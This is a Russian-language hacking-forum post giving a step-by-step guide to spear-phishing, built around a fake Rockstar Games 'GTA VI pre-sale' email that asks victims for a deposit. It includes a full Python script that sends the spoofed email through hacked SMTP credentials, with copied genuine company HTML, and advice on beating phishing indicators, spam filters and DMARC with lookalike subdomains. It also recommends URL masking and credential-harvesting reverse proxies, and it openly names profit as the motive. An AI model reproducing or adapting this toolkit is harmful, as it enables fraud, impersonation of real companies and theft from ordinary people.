Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!
  • Реклама на форуме платная! Обращаться к Admin.
    Произошла смена домена с maza.one на maza1.top!!!

Как проводить продвинутый целевой фишинг в 2026 году

  • Автор темы Автор темы slavik
  • Дата начала Дата начала

slavik

Cool Man
LV
0
 
Регистрация
Мар 23, 2023
Сообщения
57
Реакции
12
Введение

Итак начнем:
example1.png


example2.jpg

И дальше

example3.png


Итак, в этом руководстве я пошагово расскажу, как осуществить этот вид целевого фишинга, который должен быть гораздо сложнее, чем простая фишинговая атака, разработанная в SET и Gmail; вам нужно будет учесть гораздо больше нюансов.

Предварительные требования:

  • Дистрибутив Linux (Kali Linux, Parrot, Arch, Ubuntu, Debian и т. д.)
  • Взломанные учетные данные SMTP-сервера.
  • Для тестирования требуются учетные записи Proton, Tuta, Gmail и Outlook.
  • Маскфиш
  • Высокий уровень владения методами социальной инженерии и OSINT.
  • Скрипт phishing.py (подробности ниже).

1. Наиболее распространённые ошибки при проведении фишинга

В первую очередь, я хотел бы затронуть несколько теоретических соображений относительно ошибок, которые все мы когда-либо совершали. Например, на первых скриншотах мы видим обе попытки с использованием доменов, которые, честно говоря, довольно сомнительны; на уловку может попасться лишь горстка людей, но вам повезет, если вы попадетесь хотя бы одному из тысячи.

В сообщении Microsoft мы отмечаем, что адрес отправителя не имеет абсолютно никакого отношения к самой компании, за исключением явной надписи «Предупреждение».

Второй пример, якобы принадлежащий Amazon, представляет собой незначительное улучшение, за исключением используемого доменного имени и обратной ссылки.

Согласно последним бюллетеням, выпущенным компаниями ESET, Kaspersky, NIST и Avast , перечислены следующие признаки, позволяющие распознать фишинговое сообщение:

1. Наведите курсор на имя отправителя; если адрес электронной почты имеет вид @gmail.com (корпоративное сообщение) или содержит опечатки, например, "micros0ft.com", то это, скорее всего, фишинг.

Обходной путь? Действительно , подмена адреса отправителя с использованием скомпрометированных учетных данных, полученных с веб-сайта, обладающего SMTP-инфраструктурой.

2. Остерегайтесь ключевых слов, таких как «Срочно», «Требуются немедленные действия», «Подтвердите свою учетную запись прямо сейчас» или обещаний «призов» и «денег».

Обходной путь? Именно так , можно выбрать другую формулировку или сделать письмо более дружелюбным, чтобы избежать пугающей лексики. Хотя этот метод может помочь снизить вероятность того, что ваше письмо будет помечено как фишинговое, необходимо найти баланс между убедительностью и тем, чтобы не выглядеть слишком фамильярно или непрофессионально. Стиль и формулировки должны отражать бренд и жертву.

3. При наведении курсора на ссылку отобразится URL-адрес, не соответствующий легитимному веб-сайту компании, от имени которой осуществляется подмена.

Обходной путь? Вполне возможно , это приобретение домена, который имеет поразительное сходство с доменом настоящей компании, и использование атак с использованием омографов или тайпсквоттинга. Тем не менее, это требует тщательной подготовки и регистрации, чтобы избежать идентификации протоколами безопасности и регистраторами доменов. Кроме того, это может потребовать постоянного обслуживания для поддержания активного статуса домена и предотвращения проверок.

4. Файлы, часто в формате PDF, содержащие скрытое вредоносное ПО или ссылки на фишинговые сайты.

Обходной путь? Верно , отправка файлов на мошеннический сайт для восстановления, их распространение в формате ZIP или использование инструмента для создания эксплойтов на основе PDF-файлов, призванных сеять дезинформацию.

Размещение файлов и предоставление ссылок для скачивания может представлять собой более мощный способ распространения вредоносного ПО или фишингового контента. Однако крайне важно гарантировать, что файлы должным образом настроены и обфусцированы/зашифрованы, чтобы избежать обнаружения антивирусами. Использование формата ZIP может обойти некоторые меры защиты, хотя оно также может вызвать опасения, если получатель знаком с фишинговыми уловками.

5. Ошибки в написании и орфографии.

Обходной путь? Действительно , тщательная проверка композиции и орфографии, а также использование ИИ для уточнения диалекта, если владение родным языком недостаточно. Это средство незаменимо для создания убедительного и отточенного фишингового сообщения. Тщательное внимание к лингвистическим деталям помогает снизить подозрения и повысить вероятность того, что получатель предпримет желаемый ответ.

Дополнительные обходные пути:

  • Внедрите протокол HTTPS на своей фишинговой странице, чтобы создать впечатление подлинности и безопасности.
  • Внедрите CAPTCHA, невидимую ловушку для вредоносных программ в форму или аналогичные средства проверки, чтобы предотвратить автоматическое обнаружение и внесение вашей фишинговой страницы в черный список.
  • Регулярно обновляйте и обновляйте свою инфраструктуру защиты от фишинга, включая домены, IP-адреса и хостинг, чтобы избежать идентификации и попадания в черные списки.
2. Компрометированные учетные данные SMTP

Для подмены имени и адреса электронной почты отправителя нам потребуется доступ к SMTP-серверу. Конечно, можно создать собственный сервер, если нет возможности взломать и украсть учетные данные SMTP; тем не менее, создание собственного сервера предполагает немало хлопот — запуск домена, настройка конфигурации и тому подобное.

В этом конкретном руководстве все изложено гораздо проще, хотя в интернете можно найти тысячи руководств, подробно описывающих, как собрать собственный SMTP-сервер: https://hostarmada.com/tutorials/blog-c ... sing-smtp/

Для целей этого руководства я решил использовать взломанные SMTP-учетные данные, поскольку, честно говоря, у меня нет свободного времени, чтобы создавать сервер с нуля. Таким образом, учетные данные должны выглядеть примерно так:
Код:

Код:
# Hacked SMTP server configuration<br>smtp_server = '27.xx.xx.33'<br>smtp_port = 587&nbsp; # Use port 587 for STARTTLS<br>smtp_username = '[email protected]'<br>smtp_password = 'xxxxx'


3. OSINT (разведка на основе открытых источников) в отношении цели.

Это этап разведки, и он имеет первостепенное значение, поскольку от него зависит успех или неудача фишинговой атаки . Необходимо в полной мере использовать все доступные инструменты OSINT, чтобы собрать максимально полную информацию о цели.

В качестве иллюстративного примера я создал фишинговое письмо, якобы отправленное от Rockstar Games , в котором получателю сообщалось, что он был выбран для «эксклюзивной возможности предварительной продажи», предоставляющей доступ к GTA VI за две недели до официального релиза. Для наглядности, если игрок проживает в США, поддельный адрес электронной почты может выглядеть следующим образом:

Rockstar Games <[email protected]>

Я провел несколько испытаний и убедился в его эффективности, поскольку он не был помечен как фишинг и не сопровождался предупреждением. Соответственно, если бы цель находилась во Франции, можно было бы использовать домен .com.fr и так далее.

Как же тогда определить местоположение аккаунта и игрока? С помощью OSINT (разведки на основе открытых источников). Кроме того, крайне важно получить правильные имя и фамилию, чтобы придать общению большую легитимность и значимость.

4. Целевой фишинг: подмена адреса, HTML, подпись и тестирование.

Хорошо, давайте теперь перейдем к подготовленному мной скрипту на Python, для которого требуется следующая настройка:

  • В строке 7 укажите имя и домен, которые вы хотите подменить; в данном случае я бы посоветовал включить поддомены.
  • В строке 10 укажите полный адрес электронной почты предполагаемого получателя.
  • В строке 16 должна содержаться тема.
  • Начиная со строки 18, следует разместить любые изображения, призванные повысить достоверность переписки.
  • Начиная со строки 36, находится HTML-сообщение, включая соответствующие CSS-стили, шрифты и так далее.
  • В строке 198 необходимо ввести учетные данные SMTP.
После этого он готов к использованию. Во-первых, необходимо убедиться, что Python установлен — сейчас он поставляется в комплекте с большинством дистрибутивов, — но если он отсутствует, выполните следующую команду:

Код:

Код:
sudo apt update

Код:

Код:
sudo apt install python3 python3-pip python3-venv

Файл phishing.py следует сохранить в текстовом редакторе на компьютере. Затем создайте виртуальное окружение.

Код:

Код:
python3 -m venv email

Позже активируйте виртуальное окружение и установите пакеты:

Код:

Код:
source email/bin/activate

Код:

Код:
pip install requests

phishing.py

Код:

Код:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage

# Spoofed sender email address
fromaddr = "Rockstar Games <[email protected]>"

# Recipient email address
toaddr = "[email protected]"

# Create the email message
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Exclusive Opportunity: GTA VI - Early Access Available"

# Attach the Rockstar Games icon image
with open("rockstar_icon.png", "rb") as icon_file:
    icon = MIMEImage(icon_file.read())
    icon.add_header("Content-ID", "<rockstar_icon>")
    msg.attach(icon)

# Attach the GTA VI banner image
with open("gta6_banner.png", "rb") as image_file:
    image = MIMEImage(image_file.read())
    image.add_header("Content-ID", "<gta6_banner>")
    msg.attach(image)

# Attach the GTA VI image
with open("gta6.jpg", "rb") as image_file:
    image = MIMEImage(image_file.read())
    image.add_header("Content-ID", "<gta6>")
    msg.attach(image)

# Email body content
body = """<html>
<head>
   <meta http-equiv="Content-Type" content="text/html charset=UTF-8"/>
   <link href="https://fonts.googleapis.com/css?family=Roboto:light,regular" rel="stylesheet">
   <style>
      .ExternalClass{width: 100%}
        .rc-2fa-email-content{width: 100%; background-color: #ffffff; font-family: Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: 0.48px; line-height:36px; color: #f0f0f0}
        .rc-2fa-header{height: 25px}
        .rc-2fa-main{height: 0}
        .rc-2fa-main-container{background-color: white; margin: 0; overflow: auto}
        .rc-2fa-main-content{margin: 0}
        .rc-2fa-main-content h1{font-family:  Helvetica, Arial, sans-serif; font-size: 38px; letter-spacing: -0.94px; line-height: 42px; color: #ffffff;}
        .rc-2fa-pre-code-instruction-line{margin: 0}
        .rc-2fa-post-code-instruction-line{font-size: 24px}
        .rc-2fa-code{font-size: 24px; margin: 0}
        .rc-2fa-footer{height: 25px}body{margin: 0; padding: 0}
        h1{margin: 0; font-family:  Helvetica, Arial, sans-serif; font-size: 38px; letter-spacing: -0.94px; line-height: 42px; color: #ffffff;}
        .rc-2fa-header.rc-2fa-header-override{background: #fff;}
        .rc-2fa-email-content.rc-2fa-email-content-override{max-width: 600px; background-color: #000; font-family: Helvetica, Arial, sans-serif; color: #fff; border: 0; border-top: none; border-spacing: 0; margin: auto}
        .rc-2fa-main-container.rc-2fa-main-container-override{margin: 0}
        .rc-2fa-code.rc-2fa-code-override{font-family:  Helvetica, Arial, sans-serif; font-size: 58px; letter-spacing: 0px; line-height: 64px; color: #ffffff;font-weight:bold; margin: 0;}
        .rc-2fa-footer.rc-2fa-footer-override{height: 0}
   </style>
</head>
<body id="body" style="padding:0; margin:0; word-wrap: normal; word-spacing:normal;" bgcolor="#ffffff">
   <table style="width:100%; background-color: #ffffff; font-family: Helvetica, Arial, sans-serif; color: #000; border: 0; border-top: none; border-spacing: 0; margin: auto" width="100%" role="presentation">
      <tr class="rc-2fa-header rc-2fa-header-override">
        <td align="center" valign="top" width="100%">
            <center>
            <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                <tr>
                    <td style="font-size: 1px; line-height: 1px" height="24"></td>
                </tr>
            </table>
            <table cellspacing="0" cellpadding="0" border="0" role="presentation" style="background-color:#000000; width: 600px; min-width: 600px;" width="600" bgcolor="#000000" align="center">
                <tr>
                    <td style="width:72px; font-size: 1px; line-height: 1px" width="72"></td>
                    <td style="width:456px; text-align:left;" width="456" align="left">
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td>&nbsp;</td>
                                <td>
                                    <img src="cid:gta6_banner" alt="GTA VI Banner" style="width: 400px; height: 30px; display: block;">
                                </td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td style="font-size: 1px; line-height: 1px" height="24"></td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td style="font-size: 1px; line-height: 1px" height="72"></td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td>
                                    <a href="https://www.rockstargames.com/" style="text-decoration: none;" target="_blank" alias="mainImage"><img src="http://media.rockstargames.com/service/common/rockstargames.png" height="72" width="78" style="display: block; color: #f0f0f0; font-size:24px; font-family:  Helvetica, Arial, sans-serif;" alt="Rockstar Games" /></a>
                                </td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td style="font-size: 1px; line-height: 1px" height="48"></td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td>
                                    <h1 style="color:#ffffff; font-weight:bold; font-size:38px; line-height: 42px; letter-spacing: -0.94px;">Exclusive GTA VI Pre-sale Opportunity</h1>
                                </td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td style="font-size: 1px; line-height: 1px" height="48"></td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td>
                                    <span style="color: #f0f0f0; font-size:24px; font-family: Helvetica, Arial, sans-serif; line-height: 36px; letter-spacing:0.48px;">
                                        Hello John Doe,<br /><br />
                                        As a valued member of the Rockstar Games community, we are excited to offer you an exclusive pre-sale opportunity for the highly anticipated GTA VI. Your loyalty and dedication to the GTA franchise deserve a special reward, and we're thrilled to give you the chance to gain early access to the game.
                                        <br /><br />
                                        To secure your exclusive early access, please follow these steps:
                                        <br /><br />
                                        1. Click the link below to visit the GTA VI pre-sale page:
                                        <br /><br />
                                        <a href="https://gta6-rockstar.com/presale" style="color: #D10024; text-decoration: none;">[Activate GTA VI Pre-sale]</a>
                                        <br /><br />
                                        2. On the pre-sale page, you will be prompted to make a deposit. This deposit will be deducted from the final price of the game when it is released.
                                        <br /><br />
                                        3. After making the deposit, you will receive a confirmation email with your exclusive early access code.
                                        <br /><br />
                                        4. Before the release date (November 19, 2026), use the early access code to download and play GTA VI two weeks before anyone else!
                                        <br /><br />
                                        Please note that this pre-sale offer is limited and exclusive to loyal GTA players like yourself. <strong>Don't miss out on the chance to be one of the first to experience the highly anticipated GTA VI!</strong>
                                        <br /><br />
                                    </span>
                                </td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td>&nbsp;&nbsp;</td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td>
                                    <img src="cid:gta6" alt="GTA VI" style="width: 450px; height: 253px; display: block;">
                                </td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td style="font-size: 1px; line-height: 1px" height="72"></td>
                            </tr>
                        </table>
                        <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                            <tr>
                                <td>
                                    <span style="color: #a6a6a6; font-family: Helvetica, Arial, sans-serif; font-size: 16px; letter-spacing: 0.3px; line-height:22px;">
                                        This email is being sent to you from Rockstar Games, 622 Broadway, NY, NY 10012. If you would like to receive updates and exclusive offers from Rockstar Games, please <a href="https://socialclub.rockstargames.com/settings/email?lang=en-US" style="color: #a6a6a6; text-decoration: underline;">subscribe to the Rockstar Games Mailing List</a>.
                                        <br /><br />
                                        &copy; 2026 Rockstar Games. All Rights Reserved.
                                        <br /><br />
                                        <a href="https://www.rockstargames.com/legal" style="color: #a6a6a6; text-decoration: underline;">Terms of Service</a>
                                        <br />
                                        <a href="https://www.rockstargames.com/privacy" style="color: #a6a6a6; text-decoration: underline;">Privacy Policy</a>
                                        <br />
                                        <a href="https://support.rockstargames.com/" style="color: #a6a6a6; text-decoration: underline;">Support</a>
                                        <br /><br />
                                        <a href="https://www.rockstargames.com/" target="_blank"><img src="https://media.rockstargames.com/service/common/rockstarbug.png" width="24" height="24" border="0"></a>
                                        <br /><br />
                                        <a href="https://www.rockstargames.com/unsubscribe" style="color: #a6a6a6; text-decoration: underline;">Unsubscribe</a>
                                    </span>
                                </td>
                            </tr>
                        </table>
                    </td>
                    <td style="width:72px; font-size: 1px; line-height: 1px" width="72"></td>
                </tr>
            </table>
            <table border="0" cellspacing="0" cellpadding="0" role="presentation">
                <tr>
                    <td style="font-size: 1px; line-height: 1px" height="24"></td>
                </tr>
            </table>
            </center>
        </td>
    </tr>
</table>
</body>
</html>"""

msg.attach(MIMEText(body, 'html'))

# Hacked SMTP server configuration
smtp_server = '27.xx.xx.33'
smtp_port = 587  # Use port 587 for STARTTLS
smtp_username = '[email protected]'
smtp_password = 'xxxxxxx'

try:
    # Connect to the SMTP server
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()  # Enable TLS encryption
    server.login(smtp_username, smtp_password)  # Authenticate with the SMTP server credentials
 
    # Send the email
    server.sendmail(fromaddr, toaddr, msg.as_string())
 
    # Disconnect from the SMTP server
    server.quit()
 
    print("Email sent successfully!")
except Exception as e:
    print(f"Failed to send email: {str(e)}")

Единственный недостаток заключается в отсутствии полноценной панели мониторинга, позволяющей определить, перешёл ли получатель по ссылке, как это реализовано в Gophish . Тем не менее, я, возможно, доработаю этот скрипт позже и добавлю к нему пользовательский интерфейс и соответствующую панель мониторинга.

После настройки скрипта вам останется лишь ввести следующую команду в активированной виртуальной среде:

Код:

Код:
python3 phishing.py

Через несколько секунд появится подтверждение об успешной отправке сообщения. В случае неудачи будет отображено сообщение об ошибке, указывающее на неверные учетные данные и т.д.

python.png

В любом случае, вот в чем заключается настоящий интерес: как именно я получил этот HTML-код? Все очень просто: я запросил электронное письмо у Rockstar Games и скопировал их HTML-код напрямую. Это подлинное, оригинальное письмо, полученное от них.

Электронное письмо, просмотренное в Gmail на мобильном устройстве:
original.jpg

Электронное письмо, просмотренное в Proton Mail на ПК:




original2.png



Таким образом, мне также удалось получить подпись, CSS-стили, шрифты, используемые Rockstar, а также точные размеры электронного письма, после чего я просто адаптировал его, добавив дополнительное изображение. Вы можете применить этот же метод к любой организации. Хотите выдать себя за Bank of America? Тогда просто скопируйте HTML-код из любой настоящей корреспонденции, которую вы от них получили. То же самое относится к PayPal, Microsoft, Facebook и подобным компаниям. Это вполне осуществимо; нужно лишь соответствующим образом адаптировать сообщение.

5. Доставка спама и входящих сообщений.

Этот аспект не менее важен: необходимо убедиться, что ваше электронное письмо дойдёт до почтового ящика получателя. Для этого необходимо провести ряд пробных запусков, используя собственные учётные записи — создайте для этой цели новые учётные записи; не используйте личные — в таких сервисах, как Gmail, Outlook, Yahoo, Proton и т. д. В качестве альтернативы, если целевой объект фишинговой атаки — исключительно Gmail, то следует сосредоточить внимание именно на этой почтовой службе.

Как обойти спам-фильтр? По сути, нужно стараться использовать нейтральные формулировки и избегать любых выражений, создающих ощущение срочности. Более того, после многочисленных экспериментов я заметил, что как поддельный адрес электронной почты, так и используемый SMTP-сервер играют очень важную роль. Поэтому необходимо применить навыки социальной инженерии, чтобы обмануть провайдера и обеспечить успешное попадание сообщения в почтовый ящик. Это, безусловно, достижимо, хотя и требует значительного количества тестовых запусков.

Например:



6. Итоговый результат

Это результат целевого фишингового сообщения. Я считаю его неплохим, хотя оформление в HTML-коде можно было бы улучшить. Также следует помнить о важности использования страниц-заглушек, оснащенных HTTPS и CAPTCHA.

GTA1.png
gta2.png
gta3.png
gta4.png

В Gmail на мобильном устройстве:
gmail.jpg

7. Важность субдоменов


Возможно, вас интересует, что произойдет, если мы подделаем подлинный адрес электронной почты компании... В этом случае DMARC просто не сработает , и сообщение будет выглядеть следующим образом:

spoof.png

А в заголовках появится следующее:

Код:

Код:
Authentication-Results: mail.protonmail.ch; dmarc=fail (p=reject dis=none)<br>Authentication-Results: mail.protonmail.ch; spf=fail

Если же вы используете поддомены, то для жертвы не будет никаких предупреждений. Поэтому старайтесь использовать поддомены, максимально похожие на оригинал и выглядящие реалистично . Не забудьте применить свои продвинутые навыки поисковой оптимизации. В результате заголовки будут выглядеть следующим образом:

Код:

Код:
Authentication-Results: mail.protonmail.ch; dmarc=none (p=none dis=none)<br>&nbsp;header.from=rockstargames-news.com<br>Authentication-Results: mail.protonmail.ch; spf=none smtp.mailfrom=rockstargames-news.com

Заключение

Я забыл упомянуть об этом ранее, но мы используем Maskphish для более убедительного маскирования URL-адресов наших фишинговых сайтов.

Моё сообщение, касающееся GTA VI, показалось мне довольно интригующим, поскольку я подозреваю, что многие игроки проявляют большой интерес к этой видеоигре, и организация мошенничества с предзаказом кажется совсем неплохой идеей ( $$$ ). Тем не менее, если кто-то хочет вывести свои фишинговые атаки на более высокий уровень, я бы настоятельно рекомендовал применять эти методы наряду с исчерпывающей OSINT-разведкой. Кроме того, для наиболее эффективного сбора учетных данных следует использовать обратные прокси, такие как Evilginx и Modlishka. Таким образом, вы зарекомендуете себя как настоящий мастер в области фишинга.

- https://github.com/kgretzky/evilginx2
- https://breakdev.org/evilginx-3-3-go-phish/
- https://github.com/drk1wi/Modlishka
 
Последнее редактирование:

Пинг форума и аптайм

Averaged results for https://maza.one

uptime counter
Назад
Сверху